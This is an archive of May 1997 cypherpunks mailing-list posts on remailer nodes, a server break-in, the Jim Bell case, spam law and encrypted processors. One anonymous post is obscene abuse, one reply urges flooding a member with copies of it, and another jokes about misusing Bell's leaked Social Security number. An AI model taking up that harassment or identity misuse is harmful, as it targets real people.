> I see.
> 
> Any chance you could fix the forwards up so they look like normal
> posts?  Maybe stuff them into a file which procmail picks up without
> doing the spam check?

A good point. I will write a shell script for that when I get time.

> I'm not sure why someone would want to do a Bcc
> cypherpunks@algebra.com and Cc coderpunks@toad.com because (if I have
> this right) it'll be cypherpunks which sees the Cc coderpunks, and
> people on cypherpunks will auto-repy to coderpunks, which is the
> opposite of what people on coderpunks want.  What people should do is
> Bcc coderpunks (or cryptography) for this purpose.

I would agree with this.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 21:38:10 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: System Attack & FBI (fwd)
Message-ID: <199705241250.HAA23075@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Re: System Attack & FBI (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Sat, 24 May 97 08:31:31 EDT

> ichudov@algebra.com (Igor Chudov @ home) writes:
> ...
> > I hope that the hacker did not leave any other trojans besides rogue Apache
> > and in.telnetd.
> ...
> The cracker installed Stronghold[tm] on Jim's system?  How despicable!

The cracker installed nothing. From the first time they used the bbixler
account I have known of them.

Another interesting aspect is that since taking on the CDR I have had 3
attacks (previous ones were denial of service) while in the year previous
to that I had only one. I think there is an object lesson buried in there
somewhere.

What I want to know is if he ever realized he was running on a 486DX2/80
w/ 24M of RAM, 1G of hard-drive, and a version of Linux that is over 2 years
old? What a rube...

The bbixler account was a trip-wire with a very silly password intentionaly
left there (as are several others) just waiting for some happy jack to find
one. I also do this with my IP's. It is actualy very effective.

I once nabbed a bozo from the Richardson, Tx AT&T office who was using my
system to get to other systems. I was monitoring the account and noticed an
email go out to a buddy of his with his office number in it. I called, he
shit bricks, I asked for money or that he desist from using my system. He
desisted.

I also have a pretty quick re-install plan as well. I have a basic image
on a spare drive installed in the box. Swap cables and we are back up.
I can do a complete re-install and be configured in about 3 hours from CD
archives and the original source material which is on machines not on the
Internet (it's my Amiga 2000). This does not include the user home
dir's which I don't protect, with the users full knowledge and agreement.
Their data, their problem (I push fast cycle times, the use of off-line
encryption for security, and digital signing for authority); I provide
services only and TEMPORARY file storage on my file systems.

Linux on old 486's is wonderful!

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 21:44:15 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Too few cypherpunks nodes. (fwd)
Message-ID: <199705241301.IAA23110@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Too few cypherpunks nodes.
> Date: Sat, 24 May 1997 00:49:16 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.
> 
> If anyone has any creative idea of how to get a couple more reliable
> nodes, please share it.

I agree fully. I know of at least one other indipendant node that will be
coming up in the near future. I am also in the process of putting in a
satellite location to my current site about 30 miles east of Austin to
better serve that part of the community. That site is intended among other
things to host backup servers for the various services of CyberTects. Among
these will be a server to run the various mailing lists in case of a primary
site incident. It will currently be connected via modem but a switch to ISDN
or ADSL is in the works. We also hope to kick the primary SSZ site up from
ISDN to ADSL in the near future as well. I can't at this time provide even
tentative go-live dates, but I will be digging a power trench there this
afternoon if it quits raining, then we have to install the phones and air
conditioner.

Things are improving but only slowly.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 25 May 1997 00:06:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705241515.IAA03319@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

        _  O     O  _
         \-|-\_/-|-/  Timothy May
          /^\   /^\
         ^^ ^^ ^^ ^^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 24 May 1997 20:52:51 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>
Message-ID: <v03020951afac8c5cb9c1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:54 pm -0400 on 5/23/97, John Young wrote:


> We missed deleting one cite of Jim's "true" SSN
> in the complaint, which has now been done. Those
> who got early copies, consider ***-ing the num.

Of course, we could all just memorize it, and use it, um, liberally...

:-).

"It says here, Mr. Bell, that you were working in both Santa Clara and
Rockport on the same day. Can you explain that? What about all these bank
accounts with your SSID on them?"

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 24 May 1997 21:05:40 +0800
To: cypherpunks@toad.com
Subject: Re: System Attack & FBI (fwd)
In-Reply-To: <199705240556.AAA11857@manifold.algebra.com>
Message-ID: <9mk87D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
...
> I hope that the hacker did not leave any other trojans besides rogue Apache
> and in.telnetd.
...
The cracker installed Stronghold[tm] on Jim's system?  How despicable!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 22:57:46 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Too few cypherpunks nodes. (fwd)
Message-ID: <199705241406.JAA23220@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Sat, 24 May 1997 14:10:59 +0100
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: Re: Too few cypherpunks nodes.

> Does anyone know how many people are using Jim's cypherpunks@ssz.com?

I don't even check, less than 100 for shure and probably less than 25.
Don't remember seeing that many notices of subscription to the cpunks list.
There are a LOT of info and help requests though.

> Also I might point out that the afforded privacy is mostly illusionary
> because any TLA who cared could observe the mail fanning out from
> ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
> list in short order.

True, but in that case they can simply walk in with a subpeonae and take it
as well, it is sitting there in a plain text file. The reason I do this is to
minimize spammings and other such attacks it is not to protect anyone from a
truly determined assault but rather from those marketing idiots out there
with no clue as to anything close to reasonable behaviour.

And yes, I realize that this can be defeated by simply subscribing to the
mailing list and watching your incoming as you reference above.
(Hint: I ain't a marketing weenie)

There are other boogey-men than just TLA's....who in my opinion are the
easiest to deal with.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 25 May 1997 01:46:17 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705241515.IAA03319@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970524112309.101466B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 24 May 1997, Mix wrote:

> bite your penis.
> 
>         _  O     O  _
>          \-|-\_/-|-/  Timothy May
>           /^\   /^\
>          ^^ ^^ ^^ ^^
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 25 May 1997 03:04:09 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: Salvador Allende meets Kevin Kelly
In-Reply-To: <3.0.2.32.19970523070030.03c8abfc@panix.com>
Message-ID: <v03102800aface58ddb82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:56 AM -0400 5/23/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The Front Lines column on the Marketplace page in Today's WSJ:
>
>http://interactive3.wsj.com/edition/current/articles/FrontLines.htm
>
>May 23, 1997
>
>Entrepreneurs Become Leaders In the New World, Flores Says
>
>I FIRST HEARD the name Fernando Flores...


I thought the Winograd/Flores book, "Understanding Computers and Cognition"
was quite good, and I recommended it on the Extropians list several years
back.

A good description of Heidegger's "readiness to hand," which may also be
characterized as "user friendliness" and "intuitiveness."

I never looked at their "fascistware" product, a product category which
seems to have thankfully died.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 25 May 1997 03:01:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
In-Reply-To: <199705231444.QAA16307@basement.replay.com>
Message-ID: <v03102801aface6841552@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:44 PM +0200 5/23/97, Anonymous wrote:
>Two possibilities:
>
>First, the law might not apply to remailer operators.  It only applies
>to originators of messages.  It might make it illegal to use remailers
>to send commercial messages, but that would apply to the users,
>not to the remailer operators.
>
>Even if it does apply to remailers, they can comply with it.
>Put "Advertisement" at the front of each subject line, and put the
>remailer operator's contact info in the message.  Remailer operators
>are not generally hidden, so this does not hurt them any.


Indeed. As this message (the one you are reading now), I have stated who I
am, but the included (quoted) text does not carry this information.

By the definition above, this message is kosher.

By the definition that even included or remailed text must have similar
identification of all text, then any mail message which includes quotes
without full attribution would be illegal. This is clearly an
unconstitutional infringement on speech.

And unenforceable. (In the sense that there aren't enough courts to handle
the load.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 04:11:18 +0800
To: Ernest Hua <cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <3.0.32.19970524122113.00756270@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
>
>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

>From a pragmatic standpoint,  if the feds can burn down a church with the
worshippers still inside with impunity, it stands to reason that breaking
into their computers would not be a very big deal.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 04:26:54 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
Message-ID: <3.0.32.19970524125311.006ff714@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:16 PM 5/23/97 -0700, Tim May wrote:
>There are three main dimensions to this "V-chip for the Internet," just as
>there are for the original V-chip for televisions:
[...]
>3. Economics. How long will it take before even 5% of the nation's
>computers have this V-chip installed? How much will it cost? Who will
>bother with it?

You may recall that the US mandated the use of V-chips in future
televisions. By the same token, the US could mandate the use of I-chips in
future modems.

[...]
>Could hardware-based chips be coming? At a recent meeting, John Markoff
>asked me if I'd heard anything about Intel's rumored contract to buy 20
>million (yes, 20 _million_) keyboards with crypto features built in. I had
>not heard this rumor.
>
>(Since then, though, there have been rumblings that Intel is preparing to
>offer such keyboards, possibly with "user authentication" features (don't
>know what kind). 

Actually, it is 10 million keyboards with smartcard readers. Unless Intel
increased the lot size. I talked with a person at Intel attempting to
purchase the devices back in October, 1996. He expressed the difficulties
they were having finding a keyboard vendor who understood that the CPU
should not be directly involved in the smartcard operation. From this
discussion, I assumed the purpose of the devices is authentication.

The keyboards might be for an ecommerce solution or they might be used in
conjunction with Intel's P7, which will support encrypted instruction sets.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 02:42:58 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241834.NAA15516@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240549.AAA11795@manifold.algebra.com>, on 05/23/97 
   at 11:49 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Ladies and Gentlemen,

>As the time goes on and I see what is happening inside and outside our
>list, I am getting increasingly concerned about the small number of hosts
>in the cypherpunks network.

>Practically, most of the people use only two nodes, Kent's and mine, and
>thanks to Jim, we have three operating ones. I do not believe that it is
>good enough.

>If anyone has any creative idea of how to get a couple more reliable
>nodes, please share it.

I should have a new node up shorly.

This will be a cypherpunks-digest node.

I plan on taking input from the 3 current nodes, remove any duplicates and
then send out 1 or 2 digest messages a day (depending on volume).

I will be working this weekend on the digest code, hopfully I can have
things up and running sometime next week depending on how much time "real"
work takes up.

Once I have the digest list set-up I can start posting some statistics on
the "quality of service" on the various lists.

I do not plan on filtering any traffic with the exception of "denial of
service" attacks (100 ascii art messages, ...). I may not have to even do
this if the other lists already take care of this.

As soon as I have more info I will post it to the list.

PS: What does everyone think of CC: alt.cypherpunks with the digest?


Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: He who laughs last uses OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4dCe49Co1n+aLhhAQHpPwQAwnwWWNlGh8MnERO9kkgJsF+CKuBwKh6q
75oeD0/x6MaYIE1jePrAQvqkNcvzVCMbvdSkBCH1rFSLhoGECsh1jXgvWmPieRfB
7sedYwX1UTVOPz/YLvHh0BcCuevbq1V5vZD/PzhIwxskT1CNLfYkcoM/lph/HpAZ
Aaa3bo/09+k=
=9HJY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 22:09:56 +0800
To: ichudov@algebra.com
Subject: Re: Too few cypherpunks nodes.
In-Reply-To: <199705240549.AAA11795@manifold.algebra.com>
Message-ID: <199705241310.OAA01190@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.

Does anyone know how many people are using Jim's cypherpunks@ssz.com?
If you send `who cypherpunks' to it you get back an empty mail.  But
he has stated that he does this on purpose to protect the privacy of
his subscribers...  It would still be nice to know how _many_ are on
ssz.com as opposed to _who_ is on ssz.com, just to know approx. the
architecture of the lists for such purposes.

Also I might point out that the afforded privacy is mostly illusionary
because any TLA who cared could observe the mail fanning out from
ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
list in short order.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 04:50:19 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Key Recovery / The True Story
In-Reply-To: <3.0.32.19970524122113.00756270@netcom13.netcom.com>
Message-ID: <199705242034.PAA16620@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.32.19970524122113.00756270@netcom13.netcom.com>, on 05/24/97 
   at 01:50 PM, Lucky Green <shamrock@netcom.com> said:

>At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>>    Is it EVER okay for spooks to break into a church's computer to
>>    find out if they are secret terrorists?
>>
>>I'm not sure the answer is clearly one way or another, and I am
>>willing to bet that the tone of the answers will mostly be emotional
>>appeals to some idealistic standard or pessimistic nightmares.

>>From a pragmatic standpoint,  if the feds can burn down a church with the
>worshippers still inside with impunity, it stands to reason that breaking
>into their computers would not be a very big deal.

Cromwell for Presedent??

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4dej49Co1n+aLhhAQFKuQQAwaI7B4QN7knY4zEhD7SPCpRUblMCtV3A
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Z+90GHLCUIgYv1bdiReA+f4Hx8f4/x4llU7WJXF879naZteWB7o9+xCi1On00ruO
l4XnVV7PHl4=
=6el0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 25 May 1997 08:06:15 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <19970524165207.54369@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 24, 1997 at 12:48:52AM -0400, Lynne L. Harrison wrote:
[...]
>Agreed.  As we all know, tax evasion charges have been used by the IRS when
>the FBI has felt that it is unable to prove other charges.  Its use against
>organized crime is a prime example.

IANAL, but in this case it looks like the IRS was involved from the 
beginning. 

[...]
>the SS number charges and the failure to file income tax returns.  Perhaps,
>the other acts, wherein no specific statutes are alleged to have been
>violated, are mentioned as a means to make a showing that Bell is a danger to
>the community and, therefore, a factor for asking the magistrate to set no
>bail.

And to establish motive.

Is it perhaps possible that, since the charge includes the idea of
"interfering" with the IRS, that there was an element of
"intimidation", and so on, that there may be specific clauses in the
statute cited that may have bearing?

[...]

>If there is one.  As you stated above and IMHO based upon what I have read,
>the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
>matter may very well be resolved via a plea bargain.

It also seems to me that the IRS has a potentially strong case.  Given
that, what would be Bell's likely sentence, and how much could he
reduce it with a plea bargain? It certainly seems like the
weapons/AP/poison_gas/sabatoge stuff makes it *much* harder for him to
plea bargain (which may be why it is there). 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 06:27:37 +0800
To: cypherpunks@algebra.com
Subject: Algebra.com Lag Test
Message-ID: <199705242219.RAA17753@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4d3Ko9Co1n+aLhhAQEprwQAxDoO44ubcgSrXXU/GD8K1klkw/Np9CON
OeiP5Od+XvfFefqLy+s+Wflddbg5fwTi664hpHKRlSj/nMeVNOrnor0i5RXW0i/6
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VHwxY81GUjU=
=LgkZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 25 May 1997 06:31:32 +0800
To: cypherpunks@cyberpass.net
Subject: Cyberpass Lag Test
Message-ID: <199705242220.RAA17767@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4d3fY9Co1n+aLhhAQHJiQP+MQg1bRnZgIN2UEGKzvXZcR+6eSW5C4ka
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FxkcbPdeRIUELhL59EE+J5W8K2+9IOIgU+djJ1lWmW2UYh7sXTx6NChgXI8fUELq
3I9Ah1VxBAw=
=+Gyu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 12:01:48 +0800
To: Dave Emery <cypherpunks@toad.com
Subject: Re: Beware of encrypted processors bearing gifts...
Message-ID: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
>	A three way encrypted handshake between an encrypted agent that
>was part of the OS and  a smart card and software at an ISP could be
>used to enforce an internet drivers license law for  example, with no
>packets being forwarded by the ISP without hard  authentication (even up
>to biometrics) of the user.  And it would be rather trivial to disallow
>use of "unapproved" software to communicate over the net, making
>enforcement of GAK much more complete.  One could even use such a
>mechanism to forbid use of any  uncertified software on a net connected
>machine, thus making it rather hard to use such rogue applications as
>PGP.

I strongly agree with you. While the motivation that lead to the
development of such processors stems probably from the desire to thwart
software piracy, it will make implementation of the "Internet Driver
License" that much easier.

[For those new to Cypherpunks, I consider the requirement for an Internet
Driver License as inevitable as the sun raising tomorrow morning. While the
event is technically in the future, it will occur with a certainty that it
may just as well have already happened in the past. Read the graphic novel
"Watchmen" if you don't understand what I am talking about. Sure, there is
a small but no-zero probability that the Earth will be vaporized before
sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
wrote "as inevitable", as opposed to "inevitable".]

Smartcard readers and processors with encrypted instruction sets are just a
first step to the ultimate goal, requiring biometric authentication to the
applications on your machine. Some will claim they won't use such machines
and  stick to their old Pentium Pro's. I just threw out an old 286, because
I couldn't find a single person that wanted it for free. Your 200 MHz
Pentium Pro will be just as useful as that old 286 a few years hence. Sure,
it will still operate and you can even run some old programs on it.  But it
simply will be unsuitable as your primary machine. Instead, you will find
yourself using a box that runs code you can't possible figure out what it
does and requires biometric authentication for login.

Have fun,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 25 May 1997 13:34:14 +0800
To: cypherpunks@cyberpass.net
Subject: More Sky Station Info
Message-ID: <v03102800afad7cccc812@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Wed, 21 May 1997 08:11:54 -0700
>Subject: More Sky Station Info
>From: "Dewayne-Net Information List" <dewayne-net@odo.warpspeed.com>
>To: dewayne-net@warpspeed.com (Dewayne's Wireless News List)
>Mime-Version: 1.0
>Precedence: Bulk
>Reply-To: dewayne-net@warpspeed.com
>
>>>  The FCC just approved Sky Station International, a plan to provide
>>>  T1-level service (1.5Mbps) to your laptop via giant "weather balloons."
>>
>>http://www.fcc.gov/Bureaus/International/Public_Notices/1996/pnin6060.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg1-m3.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m5.txt
>>http://www.fcc.gov/ib/wrc97/texts/iwg6-m3.txt
>>
>>   The stations themselves will be platforms held at a height of
>>   approximately 100,000 feet by lighter-than-air craft and station-kept
>>   by corona ion engines.
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Dewayne Hendricks, WA8DZP ! AOL: HENDRICKS
>Warp Speed Imagineering   ! Internet: dewayne@warpspeed.com
>43730 Vista Del Mar       ! Packet Radio: WA8DZP @ K3MC.#NOCAL.CA.USA.NOAM
>Fremont, CA 94539-3204    ! WWW: <http://www.warpspeed.com/>
>Fax: (510) 770-9854       !
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 25 May 1997 10:52:51 +0800
To: cypherpunks@toad.com
Subject: Beware of encrypted processors bearing gifts...
Message-ID: <199705250228.WAA28391@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote :

> 
> Actually, it is 10 million keyboards with smartcard readers. Unless Intel
> increased the lot size. I talked with a person at Intel attempting to
> purchase the devices back in October, 1996. He expressed the difficulties
> they were having finding a keyboard vendor who understood that the CPU
> should not be directly involved in the smartcard operation. From this
> discussion, I assumed the purpose of the devices is authentication.
> 
> The keyboards might be for an ecommerce solution or they might be used in
> conjunction with Intel's P7, which will support encrypted instruction sets.


	I find the notion of an extremely wide deployment (as any Intel
x86 product will be) of machines with processors that support encrypted
instruction sets and associated smart cards deeply disquieting.

	It seems to me that this is enabling technology that would allow
the insertion of autonomous encrypted 'little brothers', into operating
systems and perhaps major net applications such as web browsers as
well..  These 'little brother' observers could be made completely opaque
to even determined and sophisticated users - with encrypted code and the
potential for encryption of all their data it would require breaking the
encryption for an independant entity to understand what such an agent
was doing and who it was doing it for.  And by making support of such
agents part of the encrypted inner ring of an OS (Win99?), it might be 
very nearly impossible to run the OS without the agent or agents present
and operating properly.   And as more and more PCs are net connected,
such agents would not need to operate entirely autonomously, as they
